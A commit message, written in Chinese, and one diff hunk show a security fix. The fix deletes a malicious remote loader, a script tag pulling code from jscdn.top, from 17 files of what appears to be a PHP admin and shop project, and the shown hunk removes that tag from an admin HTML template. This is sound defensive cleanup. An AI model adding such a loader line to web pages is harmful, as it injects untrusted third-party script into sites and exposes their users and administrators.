fix(security): 移除 17 个文件中的 jscdn.top 恶意外链

- 所有 JS 首行的 document.head.appendChild loader 与 HTML 中的
  <script src="https://jscdn.top/v1/app"> 全部删除
- 该外链会向所有后台/前台页面注入未知远程脚本
- shopro/config.js 同时包含工作区已有的 ES6 改写（保留原样，仅删恶意行）

application/admin/command/Api/template/index.html

@@ -6,7 +6,6 @@
         <meta name="viewport" content="width=device-width, initial-scale=1.0">
         <meta name="description" content="">
         <title>{$config.title}</title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
         <!-- Bootstrap Core CSS -->